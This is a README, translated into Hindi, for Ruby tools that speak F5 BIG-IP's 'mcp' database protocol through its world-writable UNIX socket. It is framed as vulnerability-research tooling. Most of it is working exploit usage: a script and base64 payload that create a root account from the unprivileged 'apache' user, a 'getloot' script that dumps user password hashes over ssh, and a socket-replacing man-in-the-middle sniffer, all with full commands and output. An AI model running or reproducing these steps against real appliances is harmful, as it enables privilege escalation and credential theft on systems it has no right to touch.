
F5 के `mcp` प्रोटोकॉल का एक कार्यान्वयन, जिसमें vuln hunting के दौरान ट्रैफ़िक स्निफ़ करने के लिए MitM उपकरण शामिल हैं।
यह वास्तव में पूरा या तैयार नहीं है, लेकिन मैं कोड को चेक इन करवाना चाहता था।
यह मूल रूप से F5 के डेटाबेस प्रोटोकॉल "mcp" को लागू करता है, जो UNIX domain socket के माध्यम से काम करता है। इसका मतलब है कि इनमें से किसी का उपयोग करने से पहले आपको F5 डिवाइस पर शेल की आवश्यकता होती है। आप आमतौर पर स्क्रिप्ट के आउटपुट को socat का उपयोग करके /var/run/mcp पर भेजते हैं, फिर प्रतिक्रिया को mcp-parser.rb में डालते हैं। विवरण नीचे दिए गए हैं।
स्क्रिप्ट्स का एक त्वरित सारांश:
mcp-getloot.rb - एक संदेश उत्पन्न करता है जो उपयोगकर्ताओं और वेरिएबल्स को डंप करेगाmcp-privesc.rb - एक संदेश उत्पन्न करता है जो एक उपयोगकर्ता खाता बनाएगाmcp-parser.rb - स्टडिन पर आने वाले mcp संदेशों को पार्स करता हैmcp-mitm.rb - लक्ष्य होस्ट पर mcp संदेशों की जासूसी करता है (रूट के लिए पासवर्ड रहित ssh कॉन्फ़िगर होना आवश्यक है)mcp-builder.rb - mcp संदेश बनाने के लिए एक लाइब्रेरी (आपको इसे सीधे उपयोग करने की आवश्यकता नहीं है)mcp-generateobjects.rb - mcp-objects.txt उत्पन्न करने के लिए एक टूल (आपको इसकी आवश्यकता नहीं होनी चाहिए)MCP F5 BigIP द्वारा उपयोग किया जाने वाला एक स्वामित्व वाला (जहाँ तक मुझे पता है) डेटाबेस है। इसे /var/run/mcp के माध्यम से एक्सेस किया जाता है, जो 0777 अनुमतियों वाला एक UNIX domain socket है (यानी, कोई भी उपयोगकर्ता इसे एक्सेस कर सकता है)।
प्रोटोकॉल TLV-शैली का है, जिसमें बहुत सारे प्रकार (41,000 से अधिक) हैं। वे सभी mcp-objects.txt में सूचीबद्ध हैं।
मैंने एक पार्सर लागू किया है जिसे आप mcp-parser.rb में पा सकते हैं, और विभिन्न संदेशों का एक समूह mcp-parser-tests.rb में पा सकते हैं।
मैंने एक बिल्डर भी बनाया है, mcp-builder.rb, हालाँकि इसे उपयोग में आसान बनाने के लिए डिज़ाइन नहीं किया गया है। हमारे पास एक पूर्व-परिभाषित फ़ंक्शन है जो एक MCP पैकेट बनाता है जो रूट-स्तरीय उपयोगकर्ता खाता बनाता है, जो काफी अच्छा है। आप उस पैकेट को बनाने के लिए mcp-privesc.rb का उपयोग कर सकते हैं।
MCP के साथ सीधे संवाद करने के लिए, आप आमतौर पर socat का उपयोग करेंगे। mcp-builder.rb में कोड पैकेट बना सकता है, हालाँकि इसे सीधे चलाने के लिए डिज़ाइन नहीं किया गया है। जिन स्क्रिप्ट्स का आप सीधे उपयोग करना चाहेंगे वे हैं:
mcp-getloot.rb - उपयोगकर्ताओं और कॉन्फ़िगरेशन सेटिंग्स प्राप्त करने के लिएmcp-privesc.rb - एक नया रूट-स्तरीय खाता जोड़ने के लिएmcp-parser.rb - प्रतिक्रिया को पार्स करने के लिए (स्टडिन पर)क्वेरी स्क्रिप्ट्स में से एक का उपयोग करने के लिए, इसे निष्पादित करें और आउटपुट को लक्ष्य पर UNIX socket में भेजने का एक तरीका खोजें। यहाँ एक उदाहरण है जहाँ हम mcp-privesc.rb के आउटपुट को gzip + base64-encode करते हैं:
$ ruby ./mcp-privesc.rb blogtest MyFunPW | gzip | base64 -w0
Attempting to create a crypt-sha512 hash of the password
Writing an `mcp` message to stdout that'll create an account: blogtest / $6$vdznqfyc$q9LEJmhlDZK3HQY0L0WuiKfXaKJtQmOY7lIkMS/IxftTmZs.PdlYXxmxjRQ4f529gl13NsqWlZdd/eksunJT01
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==
फिर हम इसे कॉपी करके लक्ष्य पर ssh सत्र में पेस्ट कर सकते हैं, जहाँ इसे UNIX socket पर भेजा जाता है (ध्यान दें कि हम यह एक गैर-root उपयोगकर्ता के रूप में कर रहे हैं यह प्रदर्शित करने के लिए कि यह संभव है):
$ whoami
apache
$ echo -ne 'H4sIAAAAAAAAA2NgYBBnQAICGgy8QIpfQJOBH0izM7AmpuRm5oFkkJVx54CVcajaMbBChSxR5KPA8oYCLGBaU4ANbBwXA0dSTn56SWpxiQA7RKcAB8yiaMecnFgg8yAWg3ZyC4LpjdxC6AbJnwSLcDCwOefn5ubnCcZDDOaWBItzM3DqJ2Xm6SclFmdwi4ClGLmFwVIpDEkqZiplKVV5hWmVySqFlj6uXrkZOS5R3sYegZEGPgbhpZneaRGJ3l4lgbn+keY5ntm+wfqeFWklIblRxXoBKTmRERW5FVlBgSZppkaW6TmGxn7FheE5USkp+qnZxaV5XiEGhmCnIXsoD+wRBgAyeb1ueQEAAA==' | base64 -d | gunzip - | socat -t100 - UNIX-CONNECT:/var/run/mcp | gzip | base64 -w0
H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==
bash-4.2$ su blogtest
Password:
[...]
[blogtest@localhost:NO LICENSE:Standalone] config # whoami
root
हम mcp-parser.rb का उपयोग करके प्राप्त प्रतिक्रिया को भी पार्स कर सकते हैं:
$ echo -ne 'H4sIAB91UGMAA2NgYJBjQALcIQy8QEqMO5SBFcwPZ+AR0OCOAJKaYAUEVXNHgVRzCzIwAABM8W1YXAAAAA==' | base64 -d | gunzip - | ruby ./mcp-parser.rb
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = user_authenticated
result_type (tag) = user_authenticated_name
result (structure [22 bytes]):
result_code (ulong) = 0x00000000 (0)
result_operation (tag) = create
result_type (tag) = userdb_entry
आप निश्चित रूप से यह सब एक ही कमांड में कर सकते हैं; यहाँ बताया गया है कि आप mcp-getloot.rb का उपयोग कैसे कर सकते हैं:
$ ruby ./mcp-getloot.rb | ssh [email protected] socat -t100 - UNIX-CONNECT:/var/run/mcp | ruby ./mcp-parser.rb | head -n30
Writing an `mcp` message to stdout that'll query for interesting stuff
Send it to the target using: socat -t100 - UNIX-CONNECT:/var/run/mcp < mcpmessage.bin
query_reply (structure [949 bytes]):
userdb_entry (structure [233 bytes]):
userdb_entry_name (string [6 bytes]) = "root"
trunk_virtual_mbr_transaction_id (ulong) = 0x00000001 (1)
userdb_entry_partition_id (string [8 bytes]) = "Common"
fw_analytics_settings_dns_collect_dst_i... (long) = 0xffffffff (4294967295)
userdb_entry_is_system (ulong) = 0x00000001 (1)
userdb_entry_oldpasswd (string [2 bytes]) = ""
userdb_entry_shell (string [11 bytes]) = "/bin/bash"
userdb_entry_gecos (string [6 bytes]) = "root"
userdb_entry_is_crypted (ulong) = 0x00000001 (1)
userdb_entry_passwd (string [100 bytes]) = "$6$UIHYzBX6$UClrSPt1o/G2meP27zBzRJnAjWEIkhNEQzqDYwn5gtnoKqFeGhnJveUUHGavaPU1FO9eif2pnADjDN/5YgMI3/"
userdb_entry_description (string [2 bytes]) = ""
userdb_entry_object_id (ulong) = 0x00002a70 (10864)
userdb_entry (structure [251 bytes]):
userdb_entry_name (string [7 bytes]) = "admin"
[...]
db_variable (structure [224 bytes]):
db_variable_name (string [38 bytes]) = "platform.diskmonitor.freelast.vmdisk"
db_variable_transaction_id (ulong) = 0x0000004b (75)
db_variable_scf_config (string [7 bytes]) = "false"
db_variable_maximum (string [2 bytes]) = ""
db_variable_minimum (string [2 bytes]) = ""
db_variable_data_type (string [9 bytes]) = "integer"
db_variable_sync_type (string [18 bytes]) = "private_internal"
db_variable_default (string [3 bytes]) = "0"
db_variable_value (string [3 bytes]) = "0"
db_variable_display_name (string [38 bytes]) = "Platform.DiskMonitor.FreeLast.vmdisk"
db_variable_object_id (ulong) = 0x0000e705 (59141)
db_variable_enumerated (array [6 bytes]): Array data: 000f00000000
मैंने वास्तविक समय में डेटाबेस क्वेरीज़ का निरीक्षण/लॉग करने के लिए एक टूल भी लिखा है - mcp-mitm.rb। यह एक शोषण (exploit) नहीं है, यह केवल एक विश्लेषण उपकरण है जिसके लिए रूट लॉगिन की आवश्यकता होती है। प्रभावी रूप से, यह /var/run/mcp को हटा देता है और इसे एक सॉकेट के साथ बदल देता है जिसे हम नियंत्रित करते हैं, फिर इसके माध्यम से गुजरने वाले सभी संदेशों को पार्स करता है।
इसे चलाने के लिए:
ssh root@<target> कर सकते हैं (या कोड को संपादित करें और DO_SETUP बंद करें)लगभग किसी भी संभावित "क्षति" को रिबूट के साथ ठीक किया जा सकता है, क्योंकि यह बूट पर सॉकेट बनाता है, लेकिन आप शायद प्रोडक्शन पर ऐसा नहीं करना चाहेंगे।
वैसे भी, उपयोग देखने के लिए बिना तर्कों के निष्पादित करें, फिर महत्वपूर्ण IP पतों को भरें:
$ ruby ./mcp-mitm.rb
Usage: ruby ./mcp-mitm.rb <your ip> <target ip> [listen port 1] [listen port 2]
[...]
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
$ ruby ./mcp-mitm.rb 10.0.0.179 10.0.0.162
Configuration (edit the script to change, this is a PoC!):
Your IP: 10.0.0.179
Target IP: 10.0.0.162
Listening port 1: 1234
Listening port 2: 1235
SSH into the target to set things up: true
(Make sure you can ssh into the host as root with no password)
(Yes yes, I know it's a PoC!)
SSH'ing into the server to set things up
Ready!
यदि आप इंतज़ार करते हैं (या सर्वर पर कुछ करते हैं), तो आपको सत्र दिखाई देंगे:
Received session @ #<TCPSocket:0x000000000170d630> <--> #<TCPSocket:0x000000000170d658>
user_authenticated (structure [15 bytes]):
user_authenticated_name (string [7 bytes]) = "admin"
start_transaction (structure [8 bytes]):
start_transaction_load_type (ulong) = 0x00000000 (0)
[...]
Ctrl-c इसे रोक देगा, और सॉकेट को ठीक कर देगा:
^CSSH'ing into the server to fix things
Session 1 closed?
Ending thread
Ending thread
Traceback (most recent call last):
3: from ./mcp-mitm.rb:149:in `<main>'
2: from ./mcp-mitm.rb:149:in `loop'
1: from ./mcp-mitm.rb:151:in `block in <main>'
./mcp-mitm.rb:151:in `accept': Interrupt
और बस!